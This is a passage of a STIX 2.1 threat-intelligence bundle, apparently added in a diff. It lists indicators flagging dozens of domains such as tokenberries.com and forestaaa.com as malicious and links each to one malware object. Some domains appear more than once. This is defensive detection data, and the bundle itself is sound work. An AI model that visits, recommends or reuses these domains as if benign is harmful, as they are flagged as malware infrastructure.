"2023-04-12T15:59:29.379Z", + "id" : "relationship--f5845a5d-1112-4ed8-83d6-dadaa79047db", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a66e7ca6-d6a4-438b-abf0-bb2b4ba18b22", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0888a4b6-93e4-4c9d-8ba5-01cfc34cc76c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='study-search.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--88f6f327-0a28-49ea-bd53-e71918c07766", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0888a4b6-93e4-4c9d-8ba5-01cfc34cc76c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--de113a52-8e5f-45ba-9a57-aafbb274f653", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='tokenberries.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c881ea17-cf70-4122-9f2c-a16dbd695ed5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--de113a52-8e5f-45ba-9a57-aafbb274f653", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--6a2bc406-c1ce-4b02-b95a-adb1fcc6286d", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='recovery-plan.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--7c1f1b26-13f0-4d8c-96ba-e5b9355e6a71", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--6a2bc406-c1ce-4b02-b95a-adb1fcc6286d", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--68eeddad-39bd-416d-a34e-f548d4980e41", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='deliverystorz.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--61023c3d-aa58-44f1-a49a-0c471026c479", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--68eeddad-39bd-416d-a34e-f548d4980e41", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--750359fe-7575-4de3-853c-d751cdb5f3de", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='forestaaa.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--5acd3bf2-983a-41bd-b3e9-f76d381560d0", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--750359fe-7575-4de3-853c-d751cdb5f3de", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d7f4ca70-f775-4996-a62b-0a8aa9eb813a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='addictmetui.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--36c3a7bf-e20b-42ea-9366-0c3f82d812f4", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d7f4ca70-f775-4996-a62b-0a8aa9eb813a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--35a21b74-6df7-4d89-92bb-d84421381d6f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='earthyouwantiis.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--a89baea5-f028-40ed-b9f6-52a0a8bfd91f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--35a21b74-6df7-4d89-92bb-d84421381d6f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--b6c4d522-f42a-40e7-a80a-b7dd8a3cfd40", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='zedforme.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9f4426ca-d9bb-45d1-8256-efb4eeaef37a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--b6c4d522-f42a-40e7-a80a-b7dd8a3cfd40", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--864fbf9d-7ac9-4f05-8bcd-b32cb939dade", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='forestaaa.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--818fba47-4c4a-4e34-b7de-6b702a3b34b2", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--864fbf9d-7ac9-4f05-8bcd-b32cb939dade", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--489ccc11-cca0-45f5-bbf2-6fe2cdb2ae47", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='navadatime.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--490c1955-53b6-4397-88ce-9b3669044edd", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--489ccc11-cca0-45f5-bbf2-6fe2cdb2ae47", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fffd7bf6-f10a-4777-a4c5-2d68e5e59c65", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='careers4ad.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e49beb41-386e-4c69-82b0-a9738fdf8b68", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fffd7bf6-f10a-4777-a4c5-2d68e5e59c65", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--56a72b24-2e49-4c3d-aef0-b2e930e17f9b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='gardenearthis.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--48aa14f5-de12-4d0b-aa22-d85940c5419c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--56a72b24-2e49-4c3d-aef0-b2e930e17f9b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--4f87812e-aad0-4f78-9c45-99595f1433b5", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='studyreaserch.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--27b5d94a-e882-4911-b353-7fa1177ac0ad", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--4f87812e-aad0-4f78-9c45-99595f1433b5", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d80dbf21-e929-453c-8605-624338a8c6cc", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='novinite.biz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--cf5a9193-96b7-44c2-945f-7e0ff0dd6824", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d80dbf21-e929-453c-8605-624338a8c6cc", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--50f425ac-55b0-4021-9fd7-fb98eabb54e0", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='agronomsdoc.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--cc03add2-a271-4376-b824-48bc611a1632", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--50f425ac-55b0-4021-9fd7-fb98eabb54e0", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a768703c-d187-4cff-bc9f-fa4182472206", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='whiteandpiink.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--e7a8e38f-449e-4cbf-b3ec-d56a26830b74", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a768703c-d187-4cff-bc9f-fa4182472206", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f4bdad77-c717-49c9-9c61-9c4c1b0c8da8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='nutureheus.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--b236799b-435b-4913-bd22-e908bbd01c75", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f4bdad77-c717-49c9-9c61-9c4c1b0c8da8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--24d200ec-85e4-4038-850b-996e0aafcb48", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='dressuse.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8b434c47-38c4-4c29-945f-52d54e290384", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--24d200ec-85e4-4038-850b-996e0aafcb48", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--7e5fad27-1ed1-49e6-9033-74ce6f68a308", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='iwoodstor.xyz']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--90c8e919-43d7-466b-9c2f-e770f5d8f875", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--7e5fad27-1ed1-49e6-9033-74ce6f68a308", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--99050bc0-60df-473d-be35-2708c1fed9e8", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='teachlearning.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--ef2a6644-8013-442d-a557-e7c9352d35c2", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--99050bc0-60df-473d-be35-2708c1fed9e8", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--713c1b90-c21a-4cea-900f-388523cb7904", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='subcloud.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--81d8f9fd-a308-4d70-b58a-cb17555badb4", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--713c1b90-c21a-4cea-900f-388523cb7904", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--ac7bd663-fb61-4201-84bc-a7b11c389f33", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='monvesting.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--c382f18d-bfd1-47a9-8abb-78f198b6864f", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--ac7bd663-fb61-4201-84bc-a7b11c389f33", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--5d94beac-2c21-4622-9f16-1095857e7046", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='elektrozi.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--55dcc2c3-d740-4d96-8776-b10dd74f1294", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--5d94beac-2c21-4622-9f16-1095857e7046", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--17c49b2f-c54a-4286-8638-4e87f1306d37", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hoteluxurysm.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--08cea0c8-16d0-4a89-b84a-6759147c55e5", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--17c49b2f-c54a-4286-8638-4e87f1306d37", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--4cb8bbdf-1b81-4089-a21a-7d68155f1f24", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='hopsite.online']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--5943efe1-2ab9-4666-8cc0-d0c60be31484", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--4cb8bbdf-1b81-4089-a21a-7d68155f1f24", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--d5e59bd8-67bf-4d59-8a93-01711c6188bd", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='bikersrental.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--dd20875b-af18-48db-b83f-790453549d4c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--d5e59bd8-67bf-4d59-8a93-01711c6188bd", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--a224be06-11bc-4ce8-a918-3a494884596a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='takestox.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--074038dd-8a2d-4ed7-a87a-7065efc0550c", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--a224be06-11bc-4ce8-a918-3a494884596a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--2ac92a2d-43d4-4772-bb89-a3b10833c060", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='sidelot.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--958ca291-a71d-48c7-8ef7-13b6b8acb116", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--2ac92a2d-43d4-4772-bb89-a3b10833c060", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--2a87a9b8-2e20-4d3f-81ee-22a5d7846b1f", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='powercodings.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--173e8b96-b976-4917-a1e4-d2441b06a7ed", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--2a87a9b8-2e20-4d3f-81ee-22a5d7846b1f", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fe8e86e9-2a82-4f4b-ac50-9267c7bab96c", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='naturemeter.org']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--8cd83cbd-ca0c-4252-90d5-71611c1d7107", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--fe8e86e9-2a82-4f4b-ac50-9267c7bab96c", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--0ce8d071-ce40-4a53-8045-1825f669b22a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='takebreak.io']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--5bacd33c-8ed7-4138-96a6-c734f834d379", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--0ce8d071-ce40-4a53-8045-1825f669b22a", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--96da4dec-bb54-4035-a8aa-957eaf3f6e7b", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='fullstorelife.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--4a0c8ed0-9e14-45d0-b433-68f625dbd61a", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--96da4dec-bb54-4035-a8aa-957eaf3f6e7b", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--f93306d7-6f83-4ba9-94c8-76504e197932", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='noraplant.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--9868fea3-22fa-4180-b719-a173b0242d1e", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--f93306d7-6f83-4ba9-94c8-76504e197932", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--cd2feeea-f8ae-427b-a2b4-35272fad5fde", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='forestaaa.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--f575cd77-9015-436b-b4bc-1dfd38ae26bb", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : "indicator--cd2feeea-f8ae-427b-a2b4-35272fad5fde", + "spec_version" : "2.1", + "target_ref" : "malware--a48a1dea-7cdd-4132-a0b1-7f3fa7f1ec4a", + "type" : "relationship" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "indicator--fa745a9d-3a13-40b5-9a1d-ca4825de942a", + "indicator_types" : [ + "malicious-activity" + ], + "modified" : "2023-04-12T15:59:29.379Z", + "pattern" : "[domain-name:value='goodsforuw.com']", + "pattern_type" : "stix", + "pattern_version" : "2.1", + "spec_version" : "2.1", + "type" : "indicator", + "valid_from" : "2023-04-12T15:59:29.379Z" + }, + { + "created" : "2023-04-12T15:59:29.379Z", + "id" : "relationship--dcfe6d70-bdfc-4de7-a5cb-5e5cf2e24d91", + "modified" : "2023-04-12T15:59:29.379Z", + "relationship_type" : "indicates", + "source_ref" : 